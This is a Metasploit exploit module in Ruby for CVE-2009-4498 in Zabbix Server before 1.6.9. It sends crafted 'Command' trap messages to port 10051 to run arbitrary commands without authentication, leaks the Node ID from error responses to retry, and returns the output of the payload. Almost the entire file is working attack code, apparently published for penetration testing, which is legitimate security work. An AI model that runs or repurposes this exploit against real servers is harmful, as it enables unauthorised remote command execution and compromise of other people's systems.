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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Zabbix Server Arbitrary Command Execution',
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      'Description'    => %q{
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          This module abuses the "Command" trap in Zabbix Server to execute arbitrary
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        commands without authentication. By default the Node ID "0" is used, if it doesn't
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        work, the Node ID is leaked from the error message and exploitation retried.
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        According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
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        has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
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      },
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      'Author'         =>
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        [
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          'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2009-4498' ],
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          [ 'OSVDB', '60965' ],
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          [ 'BID', '37989' ],
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          [ 'EDB', '10432' ],
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          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
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        ],
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      'Platform'       => ['unix'],
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      'Arch'           => ARCH_CMD,
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic telnet',
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              # *_perl, *_python and *_ruby work if they are installed
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Zabbix 1.6.7', { } ]
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate'  => 'Sep 10 2009'
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    ))
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    register_options(
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      [
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        Opt::RPORT(10051),
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      ])
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  end
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  def send_command(sock, node_id, cmd)
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    host_id = Rex::Text.rand_text_numeric(3)
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    msg = "Command\255"
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    msg << "#{node_id}\255"
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    msg << "#{host_id}\255"
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    msg << "#{cmd}\n"
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    sock.put(msg)
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    res = sock.get_once
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    return res
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  end
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  def check
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    peer = "#{rhost}:#{rport}"
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    node_id = 0
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    clue = Rex::Text.rand_text_alpha(rand(5)+5)
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    cmd = "echo #{clue}"
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    connect
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    vprint_status("Sending 'Command' request...")
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    res = send_command(sock, node_id, cmd)
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    disconnect
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    if res
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      vprint_status(res)
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      if res =~ /#{clue}/
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        return Exploit::CheckCode::Vulnerable
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      elsif res =~ /-1/ and res=~ /NODE (\d*)/
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        node_id = $1
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        vprint_good("Node ID #{node_id} discovered")
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      else
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        return Exploit::CheckCode::Safe
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      end
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    else # No response
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      return Exploit::CheckCode::Safe
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    end
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    # Retry with the good node_id
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    connect
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    vprint_status("Sending 'Command' request with discovered Node ID...")
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    res = send_command(sock, node_id, cmd)
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    disconnect
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    if res and res =~ /#{clue}/
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    peer = "#{rhost}:#{rport}"
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    node_id = 0
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    cmd = payload.encoded
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    connect
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    print_status("Sending 'Command' request...")
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    res = send_command(sock, node_id, cmd)
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    disconnect
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    if res and res =~ /-1/ and res=~ /NODE (\d*)/
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      # Retry with the good node_id
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      node_id = $1
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      print_good("Node ID #{node_id} discovered")
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      connect
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      print_status("Sending 'Command' request with discovered Node ID...")
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      res = send_command(sock, node_id, cmd)
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      disconnect
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    end
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    # Read command output from socket if cmd/unix/generic payload was used
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    if (datastore['CMD'])
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      if res and res =~ /\x30\xad/
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        print_good("Command executed successfully")
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        print_status("Output:\n#{res.split("\x30\xad").last}")
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      else
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        print_error("Failed to execute the command")
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      end
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    end
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  end
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end
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